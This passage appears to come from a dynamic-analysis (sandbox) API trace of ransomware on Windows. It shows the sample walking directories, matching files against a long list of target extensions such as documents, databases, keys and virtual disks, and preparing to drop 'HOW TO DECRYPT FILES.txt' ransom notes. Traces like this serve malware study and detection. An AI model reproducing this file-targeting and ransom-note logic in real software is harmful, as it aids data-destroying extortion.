(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.rar") returned 0 [0108.697] lstrlenA (lpString="*.rar") returned 5 [0108.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.zip") returned 0 [0108.697] lstrlenA (lpString="*.zip") returned 5 [0108.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.html") returned 0 [0108.697] lstrlenA (lpString="*.html") returned 6 [0108.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.htm") returned 0 [0108.697] lstrlenA (lpString="*.htm") returned 5 [0108.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.xlsx") returned 0 [0108.697] lstrlenA (lpString="*.xlsx") returned 6 [0108.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.xls") returned 0 [0108.697] lstrlenA (lpString="*.xls") returned 5 [0108.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.mp4") returned 0 [0108.697] lstrlenA (lpString="*.mp4") returned 5 [0108.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.ppt") returned 0 [0108.697] lstrlenA (lpString="*.ppt") returned 5 [0108.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.pptx") returned 0 [0108.697] lstrlenA (lpString="*.pptx") returned 6 [0108.697] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.doc") returned 0 [0108.698] lstrlenA (lpString="*.doc") returned 5 [0108.698] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.dot") returned 0 [0108.701] lstrlenA (lpString="*.dot") returned 5 [0108.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.docx") returned 0 [0108.701] lstrlenA (lpString="*.docx") returned 6 [0108.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.7z") returned 0 [0108.701] lstrlenA (lpString="*.7z") returned 4 [0108.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.tar") returned 0 [0108.701] lstrlenA (lpString="*.tar") returned 5 [0108.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.bz2") returned 0 [0108.701] lstrlenA (lpString="*.bz2") returned 5 [0108.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.gz") returned 0 [0108.701] lstrlenA (lpString="*.gz") returned 4 [0108.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.mkv") returned 0 [0108.701] lstrlenA (lpString="*.mkv") returned 5 [0108.701] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.eml") returned 0 [0108.702] lstrlenA (lpString="*.eml") returned 5 [0108.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.msg") returned 0 [0108.702] lstrlenA (lpString="*.msg") returned 5 [0108.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.edb") returned 0 [0108.702] lstrlenA (lpString="*.edb") returned 5 [0108.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.accdb") returned 0 [0108.702] lstrlenA (lpString="*.accdb") returned 7 [0108.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.odb") returned 0 [0108.702] lstrlenA (lpString="*.odb") returned 5 [0108.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.java") returned 0 [0108.702] lstrlenA (lpString="*.java") returned 6 [0108.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.asm") returned 0 [0108.702] lstrlenA (lpString="*.asm") returned 5 [0108.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.pfx") returned 0 [0108.702] lstrlenA (lpString="*.pfx") returned 5 [0108.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.pem") returned 0 [0108.702] lstrlenA (lpString="*.pem") returned 5 [0108.702] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.p12") returned 0 [0108.702] lstrlenA (lpString="*.p12") returned 5 [0108.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.gpg") returned 0 [0108.703] lstrlenA (lpString="*.gpg") returned 5 [0108.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.vsd") returned 0 [0108.703] lstrlenA (lpString="*.vsd") returned 5 [0108.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.odg") returned 0 [0108.703] lstrlenA (lpString="*.odg") returned 5 [0108.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.raw") returned 0 [0108.703] lstrlenA (lpString="*.raw") returned 5 [0108.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.nef") returned 0 [0108.703] lstrlenA (lpString="*.nef") returned 5 [0108.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.svg") returned 0 [0108.703] lstrlenA (lpString="*.svg") returned 5 [0108.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.psd") returned 0 [0108.703] lstrlenA (lpString="*.psd") returned 5 [0108.703] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.vmx") returned 0 [0108.703] lstrlenA (lpString="*.vmx") returned 5 [0108.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.vmdk") returned 0 [0108.704] lstrlenA (lpString="*.vmdk") returned 6 [0108.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.vdi") returned 0 [0108.704] lstrlenA (lpString="*.vdi") returned 5 [0108.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.lay6") returned 0 [0108.704] lstrlenA (lpString="*.lay6") returned 6 [0108.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.mpeg") returned 0 [0108.704] lstrlenA (lpString="*.mpeg") returned 6 [0108.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.djvu") returned 0 [0108.704] lstrlenA (lpString="*.djvu") returned 6 [0108.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.tiff") returned 0 [0108.704] lstrlenA (lpString="*.tiff") returned 6 [0108.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.backup") returned 0 [0108.704] lstrlenA (lpString="*.backup") returned 8 [0108.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.pdf") returned 0 [0108.704] lstrlenA (lpString="*.pdf") returned 5 [0108.704] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.cert") returned 0 [0108.705] lstrlenA (lpString="*.cert") returned 6 [0108.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.docm") returned 0 [0108.705] lstrlenA (lpString="*.docm") returned 6 [0108.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.xlsm") returned 0 [0108.705] lstrlenA (lpString="*.xlsm") returned 6 [0108.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.dwg") returned 0 [0108.705] lstrlenA (lpString="*.dwg") returned 5 [0108.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.nd") returned 0 [0108.705] lstrlenA (lpString="*.nd") returned 4 [0108.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.tlg") returned 0 [0108.705] lstrlenA (lpString="*.tlg") returned 5 [0108.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.lgb") returned 0 [0108.705] lstrlenA (lpString="*.lgb") returned 5 [0108.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.mov") returned 0 [0108.705] lstrlenA (lpString="*.mov") returned 5 [0108.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.xdw") returned 0 [0108.705] lstrlenA (lpString="*.xdw") returned 5 [0108.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.ods") returned 0 [0108.705] lstrlenA (lpString="*.ods") returned 5 [0108.705] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.wav") returned 0 [0108.706] lstrlenA (lpString="*.wav") returned 5 [0108.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.mp3") returned 0 [0108.706] lstrlenA (lpString="*.mp3") returned 5 [0108.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.aiff") returned 0 [0108.706] lstrlenA (lpString="*.aiff") returned 6 [0108.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.flac") returned 0 [0108.706] lstrlenA (lpString="*.flac") returned 6 [0108.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.m4a") returned 0 [0108.706] lstrlenA (lpString="*.m4a") returned 5 [0108.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.In#\\df1b5ebc81595ac647d120a218b29fcf\\Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", pszSpec="*.csv") returned 0 [0108.706] lstrlenA (lpString="*.csv") returned 5 [0108.706] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6d08ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb6d08ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6d2ec30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x1b5e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.SemiTrust.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.706] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.706] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6ded310, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb6ded310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6ded310, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="df1b5ebc81595ac647d120a218b29fcf", cAlternateFileName="DF1B5E~1")) returned 0 [0108.707] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0108.707] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37d69250, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x47e7da50, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x47e7da50, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6e2e706f, dwReserved1=0x6c642e69, cFileName="Microsoft.Office.To#", cAlternateFileName="MICROS~1.TO#")) returned 1 [0108.707] lstrcmpA (lpString1=".", lpString2="Microsoft.Office.To#") returned -1 [0108.707] lstrcmpA (lpString1="..", lpString2="Microsoft.Office.To#") returned -1 [0108.707] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0108.707] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.Office.To#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#" [0108.707] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#") returned 67 [0108.707] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37d69250, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x47e7da50, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x47e7da50, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0108.730] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.730] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37d69250, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x47e7da50, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x47e7da50, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.730] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.730] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.730] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x474f8250, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x474f8250, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x474f8250, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="098a668fd5a084739026990ceaf53d96", cAlternateFileName="098A66~1")) returned 1 [0108.730] lstrcmpA (lpString1=".", lpString2="098a668fd5a084739026990ceaf53d96") returned -1 [0108.730] lstrcmpA (lpString1="..", lpString2="098a668fd5a084739026990ceaf53d96") returned -1 [0108.731] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\*.*") returned="*.*" [0108.731] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\", lpString2="098a668fd5a084739026990ceaf53d96" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96" [0108.731] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96") returned 100 [0108.731] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x474f8250, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x474f8250, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x474f8250, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.733] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.733] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x474f8250, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x474f8250, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x474f8250, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.733] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.733] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.733] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x474d20f0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x474d20f0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x474d20f0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x3ba00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.Outlook.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.733] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.733] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.Tools.Outlook.v9.0.ni.dll") returned -1 [0108.734] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.Tools.Outlook.v9.0.ni.dll") returned -1 [0108.734] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.Tools.Outlook.v9.0.ni.dll") returned -1 [0108.734] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\*.*") returned="*.*" [0108.734] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\" [0108.734] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\") returned="" [0108.734] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\098a668fd5a084739026990ceaf53d96\\HOW TO DECRYPT FILES.txt" [0108.734] GetFileAttributesA 